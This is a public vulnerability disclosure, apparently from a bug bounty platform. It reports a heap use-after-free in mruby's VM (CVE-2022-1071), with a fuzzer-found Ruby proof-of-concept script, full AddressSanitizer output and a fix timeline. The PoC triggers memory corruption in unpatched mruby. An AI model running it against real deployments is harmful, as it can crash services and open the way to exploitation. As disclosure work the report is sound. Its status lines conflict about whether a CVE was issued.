User after free in mrb_vm_exec in mruby/mruby

0

Valid Reported on Mar 23rd 2022

While fuzzing mruby I found a use after free in mruby compiled with ASAn.

Proof of Concept (uaf1.rb)

```
var1 = -0
var2 = 1.0
var3 = 1
var4 = +0
var3 = methods.group_by() {
  || var3 = methods.group_by() {
    || var3 = methods.group_by() {
      || var3 = methods.group_by() {
        || var3 = methods.group_by() {
          || var3 = methods.group_by() {
            || var3 = methods.group_by() {
              || var3 = methods.group_by() {
                ||
              }
            }
          }
        }
      }
    }
  }
}
```

Here is the output from mruby ASAn binary

```
aldo@vps:~/mruby$ ./bin/mruby uaf1.rb
=================================================================
==49228==ERROR: AddressSanitizer: heap-use-after-free on address 0x61900006
```

```
WRITE of size 8 at 0x619000000390 thread T0
    #0 0x3b32c9 in __asan_memcpy (/home/aldo/mruby/bin/mruby+0x3b32c9)
    #1 0x5251f4 in mrb_vm_exec /home/aldo/mruby/src/vm.c:1397:19

    #2 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12
    #3 0x5143d0 in mrb_run /home/aldo/mruby/src/vm.c:3027:10
    #4 0x512538 in mrb_funcall_with_block /home/aldo/mruby/src/vm.c:566:13
    #5 0x5101e8 in mrb_funcall_argv /home/aldo/mruby/src/vm.c:577:10
    #6 0x51076c in mrb_funcall_id /home/aldo/mruby/src/vm.c:393:10
    #7 0x49998f in mrb_eql /home/aldo/mruby/src/object.c:620:10
    #8 0x45d7ca in obj_eql /home/aldo/mruby/src/hash.c:378:5
    #9 0x45ca74 in ar_get /home/aldo/mruby/src/hash.c:512:3
    #10 0x450d8f in h_get /home/aldo/mruby/src/hash.c:1005:10
    #11 0x454c21 in mrb_hash_key_p /home/aldo/mruby/src/hash.c:1688:10
    #12 0x457ba0 in mrb_hash_has_key /home/aldo/mruby/src/hash.c:1697:11
    #13 0x52cc6d in mrb_vm_exec /home/aldo/mruby/src/vm.c:1636:18
    #14 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12
    #15 0x5162b9 in mrb_top_run /home/aldo/mruby/src/vm.c:3040:12
    #16 0x5af54b in mrb_load_exec /home/aldo/mruby/mrbgems/mruby-compiler/c
    #17 0x5b072b in mrb_load_detect_file_cxt /home/aldo/mruby/mrbgems/mruby
    #18 0x3e6ebf in main /home/aldo/mruby/mrbgems/mruby-bin-mruby/tools/mru
    #19 0x7ffff7c500b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/
    #20 0x3376ad in _start (/home/aldo/mruby/bin/mruby+0x3376ad)

0x619000000390 is located 784 bytes inside of 1024-byte region [0x619000000
freed by thread T0 here:
    #0 0x3b4153 in realloc (/home/aldo/mruby/bin/mruby+0x3b4153)
    #1 0x4c2565 in mrb_default_allocf /home/aldo/mruby/src/state.c:68:12
    #2 0x44287e in mrb_realloc_simple /home/aldo/mruby/src/gc.c:226:8
    #3 0x50e394 in stack_extend_alloc /home/aldo/mruby/src/vm.c:180:27
    #4 0x50de30 in mrb_stack_extend /home/aldo/mruby/src/vm.c:200:5
    #5 0x52d6bc in mrb_vm_exec /home/aldo/mruby/src/vm.c:1671:9
    #6 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12
    #7 0x5143d0 in mrb_run /home/aldo/mruby/src/vm.c:3027:10
    #8 0x512538 in mrb_funcall_with_block /home/aldo/mruby/src/vm.c:566:13
    #9 0x5101e8 in mrb_funcall_argv /home/aldo/mruby/src/vm.c:577:10
    #10 0x51076c in mrb_funcall_id /home/aldo/mruby/src/vm.c:393:10
    #11 0x49998f in mrb_eql /home/aldo/mruby/src/object.c:620:10
    #12 0x45d7ca in obj_eql /home/aldo/mruby/src/hash.c:378:5
    #13 0x45ca74 in ar_get /home/aldo/mruby/src/hash.c:512:3
    #14 0x450d8f in h_get /home/aldo/mruby/src/hash.c:1005:10
```

```
    #15 0x45090f in mrb_hash_get /home/aldo/mruby/src/hash.c:1215:7
    #16 0x52519e in mrb_vm_exec /home/aldo/mruby/src/vm.c:1397:19
    #17 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12

    #18 0x5143d0 in mrb_run /home/aldo/mruby/src/vm.c:3027:10
    #19 0x512538 in mrb_funcall_with_block /home/aldo/mruby/src/vm.c:566:13
    #20 0x5101e8 in mrb_funcall_argv /home/aldo/mruby/src/vm.c:577:10
    #21 0x51076c in mrb_funcall_id /home/aldo/mruby/src/vm.c:393:10
    #22 0x49998f in mrb_eql /home/aldo/mruby/src/object.c:620:10
    #23 0x45d7ca in obj_eql /home/aldo/mruby/src/hash.c:378:5
    #24 0x45ca74 in ar_get /home/aldo/mruby/src/hash.c:512:3
    #25 0x450d8f in h_get /home/aldo/mruby/src/hash.c:1005:10
    #26 0x454c21 in mrb_hash_key_p /home/aldo/mruby/src/hash.c:1688:10
    #27 0x457ba0 in mrb_hash_has_key /home/aldo/mruby/src/hash.c:1697:11
    #28 0x52cc6d in mrb_vm_exec /home/aldo/mruby/src/vm.c:1636:18
    #29 0x51bfda in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12

previously allocated by thread T0 here:
    #0 0x3b4153 in realloc (/home/aldo/mruby/bin/mruby+0x3b4153)
    #1 0x4c2565 in mrb_default_allocf /home/aldo/mruby/src/state.c:68:12
    #2 0x44287e in mrb_realloc_simple /home/aldo/mruby/src/gc.c:226:8
    #3 0x442e04 in mrb_realloc /home/aldo/mruby/src/gc.c:240:8
    #4 0x442f30 in mrb_malloc /home/aldo/mruby/src/gc.c:256:10
    #5 0x442fda in mrb_calloc /home/aldo/mruby/src/gc.c:274:9
    #6 0x512702 in stack_init /home/aldo/mruby/src/vm.c:109:28
    #7 0x51be2a in mrb_vm_run /home/aldo/mruby/src/vm.c:1124:5
    #8 0x5160bf in mrb_top_run /home/aldo/mruby/src/vm.c:3036:12
    #9 0x46acf2 in mrb_load_proc /home/aldo/mruby/src/load.c:713:10
    #10 0x6172cb in mrb_init_mrblib /home/aldo/mruby/build/host/mrblib/mrbl
    #11 0x4c3c64 in mrb_init_core /home/aldo/mruby/src/init.c:50:3
    #12 0x4c2692 in init_gc_and_core /home/aldo/mruby/src/state.c:34:3
    #13 0x4366fb in mrb_core_init_protect /home/aldo/mruby/src/error.c:588:
    #14 0x4c24de in mrb_open_core /home/aldo/mruby/src/state.c:52:7
    #15 0x4c278c in mrb_open_allocf /home/aldo/mruby/src/state.c:91:20
    #16 0x4c275a in mrb_open /home/aldo/mruby/src/state.c:75:20
    #17 0x3e5de9 in main /home/aldo/mruby/mrbgems/mruby-bin-mruby/tools/mru
    #18 0x7ffff7c500b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/

SUMMARY: AddressSanitizer: heap-use-after-free (/home/aldo/mr
Shadow bytes around the buggy address:
  0x0c327fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa
```

```
  0x0c327fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff8040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c327fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

  0x0c327fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c327fff8070: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c327fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c327fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff80b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c327fff80c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==49228==ABORTING
```

Occurrences

C vm.c L1397

CVE
CVE-2022-1071

(Published)

Vulnerability Type
CWE-416: Use After Free

Severity
High (7.7)

Visibility
Public

Status
Fixed

Found by
Muhammad Aldo Firmansyah
@thecrott
legend

Fixed by

Yukihiro "Matz" Matsumoto
@matz
maintainer

This report was seen 758 times.

We are processing your report and will contact the **mruby** team within 24 hours. 8 months ago

We have contacted a member of the **mruby** team and are waiting to hear back 8 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 8 months ago

Muhammad Aldo Firmansyah has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in **3.2** with commit **aaa28a** 8 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

vm.c#L1397 has been validated

Sign in to join this conversation

Chat with us